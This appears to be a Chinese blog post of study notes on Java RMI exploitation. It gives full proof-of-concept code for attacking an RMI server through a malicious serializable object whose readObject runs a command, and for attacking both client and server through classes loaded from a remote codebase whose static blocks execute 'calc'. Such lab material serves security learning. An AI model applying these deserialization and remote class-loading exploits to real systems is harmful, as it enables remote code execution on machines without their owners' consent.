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关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿（上）>看后的一些总结-1

tr1ple 人气:3

原文地址：https://www.anquanke.com/post/id/194384#h3-3

1.java rmi

关于rmi客户端和服务端通信的过程，java的方法都实现在rmi服务端，客户端实际上是通过访问rmi注册表拿到stub，然后再通过它调用服务端方法，那么调用方法时要传递参数，参数可以为一般类型，也可以为引用类型，那么如果为引用类型，就能够利用服务端已经有的gaget chain来打server，因为参数实际上是序列化传输的，那么数据到达服务端后必定会经过反序列化。

客户端：

RMIClient.java

package com.longofo.javarmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    /**
     * Java RMI恶意利用demo
     *
     * @param args
     * @throws Exception
     */
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
        PublicKnown malicious = new PublicKnown();
        malicious.setParam("calc");
        malicious.setMessage("haha");

        // 使用远程对象的引用调用对应的方法
        System.out.println(services.sendMessage(malicious));
    }
}

此时客户端要打服务端，因此要将恶意的对象作为参数传递到服务端，此时序列化的对象将在服务端反序列化

publicKnown.java

package com.longofo.javarmi;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class PublicKnown extends Message implements Serializable {
    private static final long serialVersionUID = 7439581476576889858L;
    private String param;

    public void setParam(String param) {
        this.param = param;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.param);
    }
}

此时要传递的恶意对象肯定要符合服务端参数类型的定义

服务端：

RMIServer.java

//RMIServer.java
package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    /**
     * Java RMI 服务端
     *
     * @param args
     */
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl obj = new ServicesImpl();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
            Registry reg;
            try {
                // 创建Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

ServiceImpl.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public class ServicesImpl implements Services {
    public ServicesImpl() throws RemoteException {
    }

    @Override
    public Object sendMessage(Message msg) throws RemoteException {
        return msg.getMessage();
    }
}

Service.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

Message.java

package com.longofo.javarmi;

import java.io.Serializable;

public class Message implements Serializable {
    private static final long serialVersionUID = -6210579029160025375L;
    private String msg;

    public Message() {
    }

    public String getMessage() {
        System.out.println("Processing message: " + msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
}

所以这里服务端存在漏洞的即为ServicesImpl类，其存在一个方法其入口参数为Message对象，并且这里Message这个类是继承自Serializable，即可以进行反序列化。服务端通过bind()函数绑定远程对象到RMI注册表中，此时客户端即可以访问RMI注册表拿到stub，即可调用服务端的方法，比如sendMessage()函数

此时先启动RMIServer.java,然后再启动RMIClient.java，即可达到打rmi服务端的效果，这里jdk版本为1.6

 

在服务端的readObject处下断点，即可看到调用栈，经过ConnectHandler后就能够确定服务端要反序列化的类名

 接下来就是通过反射调用PublicKnown类的readObject方法 ，进而到达readObject内部的命令执行代码段

2.java rmi 动态加载类

2.1RMI服务端打客户端

java rmi动态加载类，其实就是通过指定codebase来制定远程的类仓库，我们知道java在运行过程中需要类的时候可以在本地加载，即在classpath中找，那么也可以通过codebase来指定远程库。默认是不允许远程加载的，如需加载则需要安装RMISecurityManager并且配置java.security.policy。并且需要java.rmi.server.useCodebaseOnly 的值必需为false，当然这也是受jdk版本限制的。

RMIClient.java

package com.longofo.javarmi;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient1 {
    /**
     * Java RMI恶意利用demo
     *
     * @param args
     * @throws Exception
     */
    public static void main(String[] args) throws Exception {
        //如果需要使用RMI的动态加载功能，需要开启RMISecurityManager，并配置policy以允许从远程加载类库
        System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
        Message message = new Message();
        message.setMessage("hahaha");

        services.sendMessage(message);
    }
}

此时RMI客户端正常操作，传入Message对象，并调用服务端sendMessage方法

ServiceImpl.java

package com.longofo.javarmi;

import com.longofo.remoteclass.ExportObject;

import java.rmi.RemoteException;

public class ServicesImpl1 implements Services {
    @Override
    public ExportObject sendMessage(Message msg) throws RemoteException {
        return new ExportObject();
    }
}

可以看到此时服务端实现Services接口的类的sendMessage方法返回值为ExportObject类型，即该类的实例

ExportObject.java

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.longofo.remoteclass;

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExportObject implements ObjectFactory, Serializable {
    private static final long serialVersionUID = 4474289574195395731L;

    public ExportObject() {
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());

        BufferedReader inBr;
        String lineStr;
        for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") {
        }

        inBr.close();
        in.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            exec("calc");
        } catch (Exception var1) {
            var1.printStackTrace();
        }

    }
}

这里实际上服务端返回的即为该ExportObject类的实例，该类是实现了对象工厂类，并且可以序列化的，所以可以通过jrmp进行传输，我们只需要将其编译放在服务器端指定的codebase地址即可等待客户端来加载，当客户端远程加载该类时将会实例化该类，即调用该类的static代码段

RMIServer.java

package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer1 {
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl1 obj = new ServicesImpl1();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

            //设置java.rmi.server.codebase
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

            Registry reg;
            try {
                // 创建Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

此时RMIServer端指定了客户端codebase的地址，即客户端反序列化ExportObject时需要加载该类，此时将通过服务端提供的codebase来加载

此时先启动托管远程类的服务端，将ExportObject.class放在codebase指定的位置，这里要注意包名要和目录名相一致

然后启动RMI服务端，启动RMI客户端，即完成了客户端要调用sendMessage方法，此时服务端返回了ExportObject对象，客户端发现返回的是ExportObject对象后，那将在本地的classpath中没找到该类，则通过服务端指定的codebase来加载该类，加载该类的后将实例化该类，从而触发calc

此时托管class的http服务端也收到了加载class文件的请求

2.2RMI客户端打服务端

RMIClient.java

package com.longofo.javarmi;

import com.longofo.remoteclass.ExportObject1;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient2 {
    public static void main(String[] args) throws Exception {
        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
        ExportObject1 exportObject1 = new ExportObject1();
        exportObject1.setMessage("hahaha");

        services.sendMessage(exportObject1);
    }
}

上面RMI客户端打RMI服务端是服务端来指定codebase地址供客户端参考，客户端来加载codebase地址的class文件，那么从上面这段代码可以看到此时是客户端制定了codebase地址，那么当然服务端就得从客户端指定的codebase来加载class了,可以看到此时客户端调用服务端的sendMessage函数传递的是ExportObject1对象

ExportObject1.java

package com.longofo.remoteclass;

import com.longofo.javarmi.Message;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject1 extends Message implements ObjectFactory, Serializable {

    private static final long serialVersionUID = 4474289574195395731L;


    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

此时该类继承自Message类，实现对象工厂接口，并且支持序列化

ServiceImpl.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public class ServicesImpl implements Services {
    public ServicesImpl() throws RemoteException {
    }

    @Override
    public Object sendMessage(Message msg) throws RemoteException {
        return msg.getMessage();
    }
}

RMIServer.java

//RMIServer2.java
package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer2 {
    /**
     * Java RMI 服务端
     *
     * @param args
     */
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl obj = new ServicesImpl();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
            Registry reg;
            try {
                //如果需要使用RMI的动态加载功能，需要开启RMISecurityManager，并配置policy以允许从远程加载类库
                System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
                RMISecurityManager securityManager = new RMISecurityManager();
                System.setSecurityManager(securityManager);

                // 创建Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

可以由以上代码看到，此时RMI服务端绑定的services接口对应的ServicesImpl.java中sendMessage函数将会调用入口参数Message类型对象的getmessage函数，这里方法体内容是什么并不重要，因为这种打法和第一节中的打法一样，都是打RMI服务端，区别是第一节是利用RMI服务端本地的gaget chain，而这里则是利用远程类加载，通过客户端指定的codebase来打RMI服务端。

 所以此时codebase的地址也将受到请求ExportObject1.class的请求，因为服务端发现穿送过来的ExportObject1类classpath里面没有，所有就会通过客户端指定的codebase加载，从而实例化该恶意ExportObject1类，执行static代码块的命令

 

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